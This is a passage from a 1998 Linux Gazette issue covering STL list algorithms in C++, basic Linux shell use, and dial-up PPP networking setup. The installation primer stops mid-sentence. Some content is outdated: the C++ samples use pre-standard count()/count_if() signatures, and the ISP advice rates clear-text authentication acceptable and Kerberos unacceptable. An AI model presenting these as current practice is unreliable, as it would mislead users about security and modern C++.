count_if(), IsAToothbrush(), is a temporary object constructed with it's default constructor. The () do not signify a function call. You are passing a temporary object of class IsAToothbrush to count_if(). count_if() will internally invoke IsAToothbrush()() for each object in the container. _________________________________________________________________ A more complex function object with the STL generic algorithm count_if() We can further develop the idea of the function object. Assume we need to pass more information to a function object. We cannot do this using the function call operator, because that must be defined to take only an object of the value type of the list. However by specifying a non-default constructor for IsAToothbrush we can initialise it with whatever information we need. We might need to have a variable code for a toothbrush for example. We can add this extra information into the function object as follows: /* || Using a more complex function object */ #include #include #include #include # class IsAToothbrush { public: IsAToothbrush(string& InToothbrushCode) : ToothbrushCode(InToothbrushCode) {} bool operator() (string& SalesRecord) { return SalesRecord.substr(0,4)==ToothbrushCode; } private: string ToothbrushCode; }; # int main (void) { list SalesRecords; # SalesRecords.push_back("0001 Soap"); SalesRecords.push_back("0002 Shampoo"); SalesRecords.push_back("0003 Toothbrush"); SalesRecords.push_back("0004 Toothpaste"); SalesRecords.push_back("0003 Toothbrush"); # string VariableToothbrushCode("0003"); # int NumberOfToothbrushes(0); count_if (SalesRecords.begin(), SalesRecords.end(), IsAToothbrush(VariableToothbrushCode), NumberOfToothbrushes); cout << "There were " << NumberOfToothbrushes << " toothbrushes matching code " << VariableToothbrushCode << " sold" << endl; } The output of the program is There were 2 toothbrushes matching code 0003 sold This example shows how to pass information to the function object. You can define any constructors that you like and you can do any processing in the function object that you like, well, that the compiler will tolerate anyhow. You can see that function objects really extend the basic counting algorithm. At this stage we have covered * defining a list * adding elements to a list * how to tell if a list is empty * how to iterate through a list using a for loop * how to iterate through a list using the STL generic algorithm for_each * the begin() and end() list member functions and their meaning * the concept of iterator ranges and the fact that the last position of a range is not processed * how to count objects in a list using the STL generic algorithms count() and count_if() * how to define function objects These examples were chosen to show commonly needed list operations. If you understand these basic principles you will have no trouble using STL productively. Mind you it does take some practice. We'll now extend our knowledge with some more complicated operations, both list member functions and STL generic algorithms. _________________________________________________________________ Finding objects in a list using the STL generic algorithm find() How do we find something in a list? The STL generic algorithms find() and find_if() will do that. Like for_each(), count(), and count_if(), these algorithms take an iterator range, specifying what part of a list or any other container for that matter, to process. As usual the first iterator specifies where to start processing, the second iterator specifies where to stop processing. The position specified by the second iterator is not included in processing. Here's how find() works. /* || How to find things in an STL list */ #include #include #include # int main (void) { list Fruit; list::iterator FruitIterator; # Fruit.push_back("Apple"); Fruit.push_back("Pineapple"); Fruit.push_back("Star Apple"); # FruitIterator = find (Fruit.begin(), Fruit.end(), "Pineapple"); # if (FruitIterator == Fruit.end()) { cout << "Fruit not found in list" << endl; } else { cout << *FruitIterator << endl; } } The output of the program will be Pineapple If find does not find the specified object, it returns the past the end iterator Fruit.end(). Otherwise it returns an iterator to the found list object. _________________________________________________________________ Finding objects in a list using the STL generic algorithm find_if() There is another more powerful version of find(). This example demonstrates find_if(), which accepts a function object as a parameter, and uses it to make a more complex assessment of whether an object is "found". Say we have records containing events and dates stored in chronological order in a list. We wish to find the first event that took place in 1997. /* || How to find things in an STL list MkII */ #include #include #include # class EventIsIn1997 { public: bool operator () (string& EventRecord) { // year field is at position 12 for 4 characters in EventRecord return EventRecord.substr(12,4)=="1997"; } }; # int main (void) { list Events; # // string positions 0123456789012345678901234567890123456789012345 Events.push_back("07 January 1995 Draft plan of house prepared"); Events.push_back("07 February 1996 Detailed plan of house prepared"); Events.push_back("10 January 1997 Client agrees to job"); Events.push_back("15 January 1997 Builder starts work on bedroom"); Events.push_back("30 April 1997 Builder finishes work"); # list::iterator EventIterator = find_if (Events.begin(), Events.end(), EventIsIn1997()); # // find_if completes the first time EventIsIn1997()() returns true // for any object. It returns an iterator to that object which we // can dereference to get the object, or if EventIsIn1997()() never // returned true, find_if returns end() if (EventIterator==Events.end()) { cout << "Event not found in list" << endl; } else { cout << *EventIterator << endl; } } The output of the program will be 10 January 1997 Client agrees to job _________________________________________________________________ Finding sequences in a list using the STL generic algorithm search Some characters are a little easier to deal with in an STL container. Lets look at a sequence of characters that can be difficult to work with. We'll define an STL list to hold the characters. list Characters; We now have a rock solid sequence of characters that knows how to manage it's own memory without any help. It knows precisely where it starts and ends. That's a useful thing. I don't know if I'd say that about a null terminated array of characters. Lets add some of our favourite characters to the list. Characters.push_back('\0'); Characters.push_back('\0'); Characters.push_back('1'); Characters.push_back('2'); How many null characters have we got? int NumberOfNullCharacters(0); count(Characters.begin(), Characters.end(), '\0', NumberOfNullCharacters); cout << "We have " << NumberOfNullCharacters << endl; Let's find the character '1' list::iterator Iter; Iter = find(Characters.begin(), Characters.end(), '1'); cout << "We found " << *Iter << endl; This example is intended to show that STL containers allow you to handle null characters in a more standard way. Now lets search a container for two nulls with the STL search algorithm. The STL generic algorithm search() searches a container, as you may have guessed, but for a sequence of elements, unlike find() and find_if() which search for a single element. /* || How to use the search algorithm in an STL list */ #include #include #include # int main ( void ) { # list TargetCharacters; list ListOfCharacters; # TargetCharacters.push_back('\0'); TargetCharacters.push_back('\0'); # ListOfCharacters.push_back('1'); ListOfCharacters.push_back('2'); ListOfCharacters.push_back('\0'); ListOfCharacters.push_back('\0'); # list::iterator PositionOfNulls = search(ListOfCharacters.begin(), ListOfCharacters.end(), TargetCharacters.begin(), TargetCharacters.end()); # if (PositionOfNulls!=ListOfCharacters.end()) cout << "We found the nulls" << endl; } The output of the program will be We found the nulls The search algorithm finds the first occurrence of one sequence in another sequence. In this case we search for the first occurrence of TargetCharacters which is a list containing two null characters, in ListOfCharacters. The parameters for search are two iterators specifying a range to search, and two more iterators specifying a range to search for. So we are looking for the entire range of the TargetCharacters list, in the entire range of ListOfCharacters. If TargetCharacters is found, search will return an iterator to the first character in ListOfCharacters where the sequences matched. If a match is not found, search will return the past the end value ListOfCharacters.end(). _________________________________________________________________ Sorting a list using the list member function sort() To sort a list we use the list member function sort(), not the generic algorithm sort(). All the algorithms we have been using up till now have been generic algorithms. However in STL, sometimes a container will supply it's own implementation of a particular algorithm, either through necessity or for enhanced performance. In this case the list container has it's own sort because the generic sort algorithm only sorts containers which provide random access to the elements inside. The list container does not provide random access to the elements in the list, because it is implemented as a linked list. A special sort() member function is needed which can sort a linked list. You'll find this with STL. For various reasons the containers will supply extra functions, where necessary for efficiency or where special performance gains can be made by taking advantage of some special feature of a container's structure. /* || How to sort an STL list */ #include #include #include # PrintIt (string& StringToPrint) { cout << StringToPrint << endl;} # int main (void) { list Staff; list::iterator PeopleIterator; # Staff.push_back("John"); Staff.push_back("Bill"); Staff.push_back("Tony"); Staff.push_back("Fidel"); Staff.push_back("Nelson"); # cout << "The unsorted list " << endl; for_each(Staff.begin(), Staff.end(), PrintIt ); # Staff.sort(); # cout << "The sorted list " << endl; for_each(Staff.begin(), Staff.end(), PrintIt); } The output is The unsorted list John Bill Tony Fidel Nelson The sorted list Bill Fidel John Nelson Tony _________________________________________________________________ Inserting elements in a list with the insert() list member function The list member functions push_front() and push_back() add elements to the front and back of a list respectively. You can also add an object at any point in a list with insert(). insert() can add one object, a number of copies of an object, or a range of objects. Here are some examples of inserting objects into a list. /* || Using insert to insert elements into a list. */ #include # int main (void) { list list1; # /* || Put integers 0 to 9 in the list */ for (int i = 0; i < 10; ++i) list1.push_back(i); # /* || Insert -1 using the insert member function || Our list will contain -1,0,1,2,3,4,5,6,7,8,9 */ list1.insert(list1.begin(), -1); # /* || Insert an element at the end using insert || Our list will contain -1,0,1,2,3,4,5,6,7,8,9,10 */ list1.insert(list1.end(), 10); # /* || Inserting a range from another container || Our list will contain -1,0,1,2,3,4,5,6,7,8,9,10,11,12 */ int IntArray[2] = {11,12}; list1.insert(list1.end(), &IntArray[0], &IntArray[2]); # /* || As an exercise put the code in here to print the lists! || Hint: use PrintIt and accept an interger */ } Note that the insert() function adds one or more elements at the position of the iterator you specify. Your elements will appear in the list before the element that was at the specified iterator position. _________________________________________________________________ List constructors We have been defining a list like this. list Fred; You can also define a list and initialise it's elements like this // define a list of 10 elements and initialise them all to 0 list Fred(10, 0); // list now contains 0,0,0,0,0,0,0,0,0,0 Or you can define a list and initialise it with a range from another STL container, which doesn't have to be a list, just a container with the same value type. vector Harry; Harry.push_back(1); Harry.push_back(2); # // define a list and initialise it with the elements in Harry list Bill(Harry.begin(), Harry.end()); // Bill now contains 1,2 _________________________________________________________________ Erasing elements from a list using list member functions The list member function pop_front() removes the first element from a list. pop_back() removes the last element. The member function erase() erases the element pointed to by an iterator. There is another erase() function which can erase a range of elements. /* || Erasing objects from a list */ #include # int main (void) { list list1; // define a list of integers # /* || Put some numbers in the list || It now contains 0,1,2,3,4,5,6,7,8,9 */ for (int i = 0; i < 10; ++i) list1.push_back(i); # list1.pop_front(); // erase the first element 0 # list1.pop_back(); // erase the last element 9 # list1.erase(list1.begin()); // erase the first element (1) using an iterator # list1.erase(list1.begin(), list1.end()); // erase all the remaining elements # cout << "list contains " << list1.size() << " elements" << endl; } The output will be list contains 0 elements _________________________________________________________________ Removing elements from a list using the list member function remove() The list member function remove() erases objects from a list. /* || Using the list member function remove to remove elements */ #include #include #include # PrintIt (const string& StringToPrint) { cout << StringToPrint << endl; } # int main (void) { list Birds; # Birds.push_back("cockatoo"); Birds.push_back("galah"); Birds.push_back("cockatoo"); Birds.push_back("rosella"); Birds.push_back("corella"); # cout << "Original list with cockatoos" << endl; for_each(Birds.begin(), Birds.end(), PrintIt); # Birds.remove("cockatoo"); # cout << "Now no cockatoos" << endl; for_each(Birds.begin(), Birds.end(), PrintIt); } The output will be Original list with cockatoos cockatoo galah cockatoo rosella corella Now no cockatoos galah rosella corella _________________________________________________________________ Removing elements from a list with the STL generic algorithm remove() The generic algorithm remove() works in a different way to the list member function remove(). The generic version does not change the size of the container. /* || Using the generic remove algorithm to remove list elements */ #include #include #include # PrintIt(string& AString) { cout << AString << endl; } # int main (void) { list Birds; list::iterator NewEnd; # Birds.push_back("cockatoo"); Birds.push_back("galah"); Birds.push_back("cockatoo"); Birds.push_back("rosella"); Birds.push_back("king parrot"); # cout << "Original list" << endl; for_each(Birds.begin(), Birds.end(), PrintIt); # NewEnd = remove(Birds.begin(), Birds.end(), "cockatoo"); # cout << endl << "List according to new past the end iterator" << endl; for_each(Birds.begin(), NewEnd, PrintIt); # cout << endl << "Original list now. Care required!" << endl; for_each(Birds.begin(), Birds.end(), PrintIt); } The output will be Original list cockatoo galah cockatoo rosella king parrot List according to new past the end iterator galah rosella king parrot Original list now. Care required! galah rosella king parrot rosella king parrot The generic remove() algorithm returns an iterator specifying a new end to the list. The range from the beginning to the new end (not including the new end) contains the elements left after the remove. You can then erase the range from the new end to the old end using the list member function erase. _________________________________________________________________ Partitioning a list with the STL generic algorithm stable_partition() and using the list member function splice() We will finish off with a slightly more complicated example. It demonstrates the STL generic stable_partition() algorithm and one variation of the list member function splice(). Notice the use of function objects, and the absence of loops. Control passes through a series of simple statements, which are calls to STL algorithms. stable_partition() is an interesting function. It rearranges elements so that those which satify a certain condition come before those which do not. It preserves the relative order of the two groups of elements. An example will make this clear. Splice splices the elements of another list into the list. It removes the elements from the source list. In this example we want to accept some flags and four filenames from the command line. The filenames must appear in order. By using stable_partition() we can accept the flags at any position relative to the filenames and get them together without disturbing the order of the filename parameters. Due to the readily available counting and finding algorithms we can call these algorithms as necessary to determine which flag was set rather than setting other flags in our program. I find containers are very convenient for managing small amounts of variable dynamic data like this. /* || Using the STL stable_partition algorithm || Takes any number of flags on the command line and || four filenames in order. */ #include #include #include # PrintIt ( string& AString ) { cout << AString << endl; } # class IsAFlag { public: bool operator () (string& PossibleFlag) { return PossibleFlag.substr(0,1)=="-"; } }; # class IsAFileName { public: bool operator () (string& StringToCheck) { return !IsAFlag()(StringToCheck); } }; # class IsHelpFlag { public: bool operator () (string& PossibleHelpFlag) { return PossibleHelpFlag=="-h"; } }; # int main (int argc, char *argv[]) { # list CmdLineParameters; // the command line parameters list::iterator StartOfFiles; // start of filenames list Flags; // list of flags list FileNames; // list of filenames # for (int i = 0; i < argc; ++i) CmdLineParameters.push_back(argv[i]); # CmdLineParameters.pop_front(); // we don't want the program name # // make sure we have the four mandatory file names int NumberOfFiles(0); count_if(CmdLineParameters.begin(), CmdLineParameters.end(), IsAFileName(), NumberOfFiles); # cout << "The " << (NumberOfFiles == 4 ? "correct " : "wrong ") << "number (" << NumberOfFiles << ") of file names were specified" << endl; # // move any flags to the beginning StartOfFiles = stable_partition(CmdLineParameters.begin(), CmdLineParameters.end(), IsAFlag()); # cout << "Command line parameters after stable partition" << endl; for_each(CmdLineParameters.begin(), CmdLineParameters.end(), PrintIt); # // Splice any flags from the original CmdLineParameters list into Flags list. Flags.splice(Flags.begin(), CmdLineParameters, CmdLineParameters.begin(), StartOfFiles); # if (!Flags.empty()) { cout << "Flags specified were:" << endl; for_each(Flags.begin(), Flags.end(), PrintIt); } else { cout << "No flags were specified" << endl; } # // parameters list now contains only filenames. Splice them into FileNames list . FileNames.splice(FileNames.begin(), CmdLineParameters, CmdLineParameters.begin(), CmdLineParameters.end()); # if (!FileNames.empty()) { cout << "Files specified (in order) were:" << endl; for_each(FileNames.begin(), FileNames.end(), PrintIt); } else { cout << "No files were specified" << endl; } # // check if the help flag was specified if (find_if(Flags.begin(), Flags.end(), IsHelpFlag())!=Flags.end()) { cout << "The help flag was specified" << endl; } # // open the files and do whatever you do # } Given this command line: test17 -w linux -o is -w great the output is The wrong number (3) of file names were specified Command line parameters after stable partition -w -o -w linux is great Flags specified were: -w -o -w Files specified (in order) were: linux is great _________________________________________________________________ Conclusion We have only touched on the things you can do with a list. We haven't even got to the point of storing a user defined class of object, although thats not hard. If you understand the concepts behind the algorithms presented here you should have no trouble using the rest. The important thing with STL is to get the basics right. The key to STL is really the iterator. STL algorithms take iterators as parameters. They take iterator ranges, sometimes one range, sometimes two. STL containers provide the iterators. Thats why we say list::iterator, or list::iterator, or list::iterator. Iterators have a well defined heirarchy. They have varying "powers". Some iterators provide read only access to a container, some write only. Some can only iterate forwards, some are bidirectional. Some iterators provide random access to a container. STL algorithms require a certain "power" of iterator. If the container doesnt provide an iterator of that power, the algorithm will not compile. For example, the list container only provides bidirectional iterators. The generic sort() algorithm requires random access iterators. Thats why we need the special list member function sort(). To really use STL properly you will need to carefully study the various kinds of iterators. You need to see just what kinds of iterators are provided by what containers. You then need to see what type of iterators the algorithms require. You need, of course to understand what kinds of iterators you can have. _________________________________________________________________ Using STL in the field During the past year I have written a number of commercial C++ programs using STL. It reduced my effort and almost eliminated logic errors in all cases. The largest program is about 5000 lines. Probably the most striking thing about it is its speed. It reads and extensively processes a 1-2 Mb transaction file in about twenty seconds. It was developed with GCC 2.7.2 on Linux and now runs on a HP-UX machine. It uses over 50 function objects and many containers ranging in size from small lists to a map with over 14,000 elements. The function objects in the program are in a hierarchy where top level function objects call lower level ones. I used the STL algorithms for_each(), find(), find_if(), count() and count_if() extensively. I reduced nearly all of the internals of the program to STL algorithm calls. STL tended to automatically organise my code into distinct control and support sections. By carefully crafting function objects and giving them meaningful names I managed to move them out of sight and concentrate on the flow of control in my software. There is much more to know about STL programming and I hope you have enjoyed working through these examples. The two books in the bibliography both have active errata pages on the web so you can keep them right up to date. Stroustrup has an advice section at the back of each chapter which is excellent, especially for beginners and the whole book is in a much more conversational style than the earlier editions. It is also much larger. There are of course quite a few other books on STL in the bookshops. Have a look and see what you can find. Bibliography The STL Tutorial and Reference Guide, David Musser and Atul Saini. Addison Wesley 1996. The C++ Programming Language 3e, Bjarne Stroustrup. Addison Wesley 1997. _________________________________________________________________ Copyright © 1998, Scott Field Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Linux Basics By Paul Anderson _________________________________________________________________ I was reading through the Linux Gazette Mailbag column, and noticed a number of requests for basic info about Linux and the use thereof. In this doc, I'll cover the basics of logging in, using the shell, and even some rudamentry shell scripting and various useful utilities. I won't, however, cover the use of X Windows, as that can be a whole subject unto itself. Also, I will only be able to cover the Debian distribution as I don't have RedHat or S.u.S.E or other distributions around here. Before I begin, I would like to make one point: Linux is much more powerful than any Microsoft product, and with that greater power comes the responsibility to learn how to use it properly. This is to be expected, and is much less than painful than many make it out to be. _________________________________________________________________ Logging In So, you've got Linux installed on your system and you're just about to begin using it. You're presented with a screen looking like this: Debian GNU Linux 1.3 geeky1 tty1 geeky1 login: You probably created a personal account for yourself, and we'll use that. In these examples, the account is paul, password password. Now, at the login prompt type in your username, in our example, paul. The screen will now look like this: Debian GNU Linux 1.3 geeky1 tty3 geeky1 login: paul Password: Now, watch your fingers while you type in the password - it won't be echoed for security reasons, and watching your fingers will help you keep from making a mistake. The system will now display the contents of /etc/motd, and run the file .bash_profile in your home directory if you're using the bash shell(most distributions default to using bash). _________________________________________________________________ Using The Shell The shell is kind of like DOS's command.com, but MUCH more powerful. The first command we're going to use is the touch command. All it does is either create an empty file, or update the last modified date on an already existing file. The shell prompt will probably look like a dollar sign. First, we want to make a directory to hold our work. At the prompt, type: mkdir foo Now, we want to use the ls command, which is the equivalent of DOS's dir command. While I'm at it, if you want more info on using any command listed here, type: man command Where command is the command you want more information on. man is short for manual page. Type ls, and it will list foo. Now, type: cd foo Okay, you're now in the foo directory. Oh dear, a bit confusing isn't it? The current directory isn't displayed on the prompt. Let's fix it. The environment variable PS1 holds the specification for the prompt. Type: export PS1="\`pwd\`:\`whoami\`:\$ " And you'll notice you're prompt has changed! Let me explain... export is used in bash to make the variable so that it is carried to other shells you run - if you don't export the variable, and run a program, the program won't know about the variable. It's good practice to use export whenever you set an evironment variable. Next, you'll notice \`pwd\`. What's with this \` stuff, you ask? In bash, the backslash is used to 'escape' a character - keep the shell from processing it. Why the backquote? In a shell, it's used to tell the shell to replace the stuff inside the backquotes with what's printed on the screen by the program that's inside them. For example, type: echo f`pwd`f The system will print: f/home/paulf The shell evaluated the backquotes, and replaced the text inside them with the output of the pwd program. Now, if we hadn't escaped the backquotes - the shell would evaluate them when it shouldn't and the current directory portion of the prompt would always stay the same. Now, in bash, ~ refers to your home directory. Go ahead, type: echo ~ You'll get something like: /home/paul So, we say that the directory foo you just created is in the path ~/foo Now, I want you to type: touch bork And then type ls again. Wala! You've just created an empty file! Now, do it again, except this time creating three files - foo.txt, bork.txt and bar.txt. In DOS, if you wanted to change the extension of all these to .html, you'd have to do it by hand, right? Linux, however, is much more powerful. Type: for i in `ls`; do mv $i `basename $i .txt`.html; done And do an ls again. They've all changed extension to .html! You've actually done some shell programming. You've written what's called a for loop(for obvious reasons). For every instance reported by ls, the environment variable $i is set to the entry, and the stuff after do is run. Right now would be a good time to use man to learn about the basename command. It strips off the specified extension(in this case, .txt) and returns the value of $i sans the extension. The backquotes make certain that the shell ends up seeing it as: mv foo.txt foo.html Amazing, eh? This brings to an end our basic intro to the shell. Next, I hope to write an intro to emacs and writing shell scripts. -- Paul Anderson, paul@geeky1.ebtech.net _________________________________________________________________ Copyright © 1998, Paul Anderson Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Linux Installation Primer, Part Three By Ron Jenkins _________________________________________________________________ Copyright ® 1998 by Ron Jenkins. This work is provided on an "as is" basis. The author provides no warranty whatsoever, either express or implied, regarding the work, including warranties with respect to its merchantability or fitness for any particular purpose. The author welcomes corrections and suggestions. He can be reached by electronic mail at rjenkins@unicom.net, or at his personal homepage: http://home.unicom.net/~rjenkins/ Part Three: Network and Dialup Networking configuration Well, here we are ready to start part three of the series, setting up basic networking functions, and connecting your Linux machine to the outside world. As with each installment of this series, there will be some operations required by each distribution that may or may not be different in another. I will diverge from the generalized information when necessary, as always. In this installment, I will cover the following topics: 1. Networking fundamentals. 2. Preparing for the networking configuration. 3. Configuring the loopback adapter. 4. Configuring basic networking. 5. Connecting to your Internet Service Provider. 6. Configuring the Domain Name Service to function on a dialup connection. 7. Configuring Sendmail to function on a dialup connection. 8. Testing and troubleshooting your basic and dialup configuration. 9. Some quick and dirty "cheats" if all else fails. 10. Stupid Network Tricks. 11. Resources for further information. 12. About the Author. Networking fundamentals. I won't bore you with all the nasty details of the history of the Internet, how it came to be, etc. However, some basic understanding of how networking in general, and Transmission Control Protocol/Internet Protocol (TCP/IP) is necessary to maximize your effective use of a network, and by extension, the Internet. At its most fundamental level, all networks require at least three things to function: 1. An interface to pass the data packets to and from the computer. 2. A physical connection of some sort to pass the data from one place to another. 3. And finally a mutually agreed upon format to convey that data, using a common method, or language, usually called a protocol. Just as a person who speaks only French will have a great deal of difficulty communicating with a person who speaks only English, (no matter how loud or slowly each one of you talks,) so too will two dissimilar networks be unable to communicate without a common language or protocol. Grossly oversimplified, in the context of the Internet, this language is TCP/IP. (Yes, I know, it really happens through a series of functions based loosely on the OSI model, but for the purposes of this document, let us agree that TCP/IP is the language of choice.) TCP/IP is based on numerical addresses, called IP addresses. I'm sure you have all seen something like xxx.xxx.xxx.xxx, where x is equivalent to some numerical value. A practical example would be 204.252.102.2, one the Domain Name Servers or DNS (more on this later) at an ISP here in town. "But wait a minute, I don't type stuff like that, I type the ubiquitous dub dub dub dot foobar dot com thingy, (www.foorbar.com) and it works just dandy. What's up with this number stuff?" Ah, grasshopper, this is where DNS comes in to play. Through an interconnected system of servers, the DNS system functions much like an upside down pyramid. Starting with your local DNS, which knows only about the machines on your local network, and how to talk to a machine higher up the totem pole if it gets confused, all the way up to the widest part of the pyramid, which contains the information for all the various master or "root" domains such as .com, .net, .edu, or .org. A huge and constantly changing database of all machine connect to the Internet is organized, collated, and sorted 24 hours a day. Again, grossly oversimplified, residing on the DNS servers, in the form of something called "Zone files", each machines local to the relevant local network has two entries - an IP address and a hostname. In this article your machine's hostname will be tester, and your domain will be foober.net (this will need to be replaced with information gathered from your Internet Service Provider, as explained later.) This is called address resolution, and explains how the dub dub dub deal works. Whenever a request goes out, these dandy little machines translate the hostname you have requested into an IP address if it is on your local network, or pass it on up the line if it is not. Pretty neat huh? For the purposes of this document, the three components of your networking setup will consist of the following: 1. The network interface in your case will be a thing known as the loopback adapter. 2. The physical connection will be your phone line. 3. The protocol you will use will be TCP/IP in one of two configurations, depending on your Internet Service Provider (ISP.) Preparing for the networking configuration. 1. Some information for you if you do not already have an ISP. 2. Some information for you if you already do have an ISP. 3. General information required in either scenario. Some information for you if you do not already have an ISP. As long as we are at this, and with the proliferation of every Tom, Dick, and Harry starting "The Ultimate Internet Service Provider," I provide the following things to consider when choosing an ISP: I will present these considerations in question form, with explanations where necessary. These things are VERY important to know if you want to maximize your effectiveness on the Internet. Initially, you will probably be connected to a salesman when you contact a prospective ISP. Ask to talk to a tech, or have one conference in to the call. Otherwise, the salesman may promise you anything to get you connected. The tech will be able to answer the following questions effectively. If the salesman or the tech refuse to do any of the above, or hem and haw around about any of these questions, thank them for their time and move on. This is not an ISP you want. So hang on to your modem, here we go: * What type of access do you offer? Unlimited access or metered access (AKA *plans). Unlimited is good; it is one flat rate for as much time as you want. Metered, *.plans are bad. These plans usually come with so many *free* hours per month, then an additional charge per minute or hour you exceed this base. This stinks, and makes the Information Superhighway a toll road. * Do you offer Unix shell access to my account? This tells you two things - is the answer is yes, you are probably connecting to a Unix machine. This is good. If not, you are probably on an NT machine, or your ISP chooses not to offer shell access. This is bad. If you have shell and telnet access to your account, you can do many neat things with it see "stupid network tricks" farther along. * What type and speed is your backbone connection or connections to the Internet? Many smaller ISP's have only a T-1 (1.534 MBPS of user bandwidth,) or even worse, something called a Fractional T-1 which may range anywhere between 64 KBPS up to the full 1.5 in 64 KBPS increments. They then, through the use of term servers let many end-users like you connect to a single network feed and share it. This is bad. What is better is a connection called a T-3. This runs at 45 MBPS and should be considered the minimum connection that you are willing to accept. If your prospective ISP does not have at least a T-3, bail and find one who does. * What is your user to modem ratio? This is a fancy way of saying how many physical connection devices do you have, compared to how many users your network supports? Nowadays, any more than 4:1 is unacceptable. One modem for every four users. * Considering your backbone connection, how many to you have, and how many providers do they go through? At a minimum, any good ISP should have a T-3, connected to one backbone provider and multiple (at least 2) T-1's each connected to a separate backbone provider. Consider this - if you only have one ISP and they go down, you're off the Internet until they get it fixed. If you have two accounts with two different providers, and one goes down, you switch to the other. Same rule holds true for them. * What kind of machines are they using, and what operating system do they run? If you hear the word NT in their response, run away screaming. Specifically ask if they are using Unix hosts and whether or not they offer telnet, shell, and ftp access to your personal account. If the answer is no, look elsewhere. * What access authentication protocol do you use? Acceptable protocols are clear-text, PAP, and CHAP. Unacceptable protocols are RADIUS, KERBEROS (can be done but you will need help), GUARDIAN, or MS-CHAP. These protocols cause a lot of extra trouble and configuration complexity, which you don't really need, unless you work for the NSA or something. Security is a relative term, and for the average end user, super-whiz bang-triple encryption one off pad algorithms shouldn't be necessary. * Ask specifically how much web space and personal storage you are allocated for your personal account. It should be at least 10 MB. More is better. * Finally, ask specifically if they support Unix clients in general, and Linux clients in particular. You can live with it if they say Lin Who, but if they don't support Unix clients, they are probably an NT shop. Run-Away. Some information for you if you already have an ISP. You should be okay, at least at the basic functionality level, if you have already been connected successfully to your present ISP. However, if you have been connecting using only Windows machines, you may or may not have problems with connecting the Linux box. See the NOTE, and SPECIAL NOTE below regarding NT specific issues. General Information required in either scenario. Before you do anything, you will need to acquire the following information from your ISP: * The number you dial to access the service. * Your username and password on your ISP account. * What type of authentication scheme your ISP uses. Some possible options are Clear Text, Password Authentication Protocol (PAP,) and Challenge Handshake Authentication Protocol (CHAP.) * Whether your ISP uses static or dynamic address allocation. Static address allocation means you have the same IP address every time (this is better for you,) while Dynamic Address Allocation assigns you a different IP address every time from a pool of IP's set aside just for this purpose (this is better for them.) * What the IP address of the default gateway is on your ISP's network. * What the IP address of their primary and secondary DNS servers are. * The technical support phone number for your ISP, and the hours it is active in case you run into problems. NOTE: Each ISP has it's own idiosyncrasies and procedures for accessing their service. What I will be accomplishing in this document is simply to get you physically logged in and connected to the ISP. There may or may not be additional steps required by your particular service to attain full functionality. SPECIAL NOTE: Many ISP's unwisely, in my opinion, relay on NT architecture for remote access. This adds additional steps to your configuration, many proprietary to Microsoft and otherwise unnecessary. If your ISP is one of these shops, try to get a tech on the line while you are doing the configuration. If they are unwilling or unable to support Unix and Linux machines, get one who will. The ease of the configuration will be worth it, as well as having "shell" access to your ISP's network with which you can do all sorts of neat things, covered in the "stupid network tricks" section later. Even so, look at my "cheat" section for some ideas and workarounds if your ISP is unwilling or unable to support your Linux box. Configuring the loopback adapter. The loopback adapter is necessary for the networking connection to function. Oversimplified, each network connection, or "interface" in UNIX parlance must be "bound" to a physical, as well as a logical adapter. The loopback adapter performs this function in the absence of an actual interface to the network, such as a Network Interface Card, or NIC. We will use the loopback adapter both for testing and to "bind" the network connection to your ISP to, thus making your modem the network interface. Slackware 3.5: This should be done for you during the installation. If not, from the command line, type netcfg , and when prompted choose 127.0.0.1 for your network interface. RedHat 5.1: Again, this should have been taken care during the installation procedure. If not, start X and choose the options Control Panel/Network Configuration, then at the bottom of the dialog box, choose Add and follow the prompts. Configuring basic networking. Slackware 3.5: Basic network configuration is accomplished through either directly editing the configuration files them selves, through the use of the netconfig utility, or some combination of both of these methods. RedHat 5.1: Most of your network configuration can be accomplished through the aforementioned Control Panel/Network Configuration method, or using the linuxconf utility available on newer RedHat systems. You will find this utility under Start/Programs/Administration/Linuxconf. Basically, you just need to cd to /etc/hosts, and choose a hostname and domain for your machine. I think its default is darkstar or something in Slackware, and localhost in RedHat. The important point to remember here is not to choose a hostname that is already on the Internet, and use your ISP's domain name for yours. So, if your ISP is psi.net: darkstar.psi.net At a minimum, if you are not connected to a LAN, and will only be dialing up to your ISP, the only entry required in your etc hosts file is your loopback adapter. Connecting to your Internet Service Provider. Slackware 3.5: If you have followed my instructions previously, and chose the proper ISP, get him on the line and have him walk you through the configuration process, as it will be unique to each ISP. If not, read on for some general pointers. The symlink to /dev/modem should have already been created during installation, if not create it. To begin with, you will have to connect manually using minicom to see just what your ISP requires. minicom After it get done griping about not running as root, enter the configuration menu by depressing the Alt+z keys, then choose the proper configuration options. When finished, exit and save your changes as the default when prompted. You should now see an O.K. prompt in the terminal window. If not, go back and check your configuration. Now let's dial your ISP: ATDTyourispaccessnumber For instance: ATDT 3659968 If all goes well, you should be presented with a login prompt. Enter your ISP assigned username and press the return key. Next you should be prompted for your password. Enter your ISP assigned password. At this point, if all has gone well, you should start to see a bunch of garbage scroll across your screen. This is a good thing. This is the ppp daemon on the other end trying to connect to your machine. To talk to it, we will first have to close minicom WITHOUT resetting the modem. Next we will have to start our own ppp daemon. I happen to stink at typing, so I made a little script to initiate the pppd connection: vi unicom.connect pppd /dev/modem (or as I prefer /dev/cua1 for COM2,) crtscts defaultroute now let's exit and save the file: press the escape Esc key to enter the command mode, the depress Shift + : then wq to write and quit the file. Now, let's make the file executable (like a .EXE file in DOS,) by issuing the following command: chmod +x filename (unicom.connect in this example.) Okay! Now we are ready to go. At some point while we were doing all this minicom should have crapped out. If not depress Alt + Z and this time DO reset the modem. Here we go: 1. Start minicom. 2. Dial your ISP. 3. Enter your login when prompted. 4. Enter your password when prompted. 5. As soon as the garbage starts, depress Alt+z, then q to quit without resetting the modem. 6. As soon as the command prompt comes back, run your connect script. In this example unicom.connect. 7. Type ifconfig and press return. You should now see TWO entries. One for the loopback adapter, and one called ppp0 or something. 8. Jump up and down and do the happy dance. You are connected! RedHat 5.1: If you have followed my instructions previously, and chose the proper ISP, get him on the line and have him walk you through the configuration process, as it will be unique to each ISP. If not, read on for some general pointers: First, is you haven't done it already, make sure you know which interface you modem is connected to. You will need to know this information. If it has not already been done, use the modemtool from the Control Panel to create a symbolic link from the serial port your modem is connected to 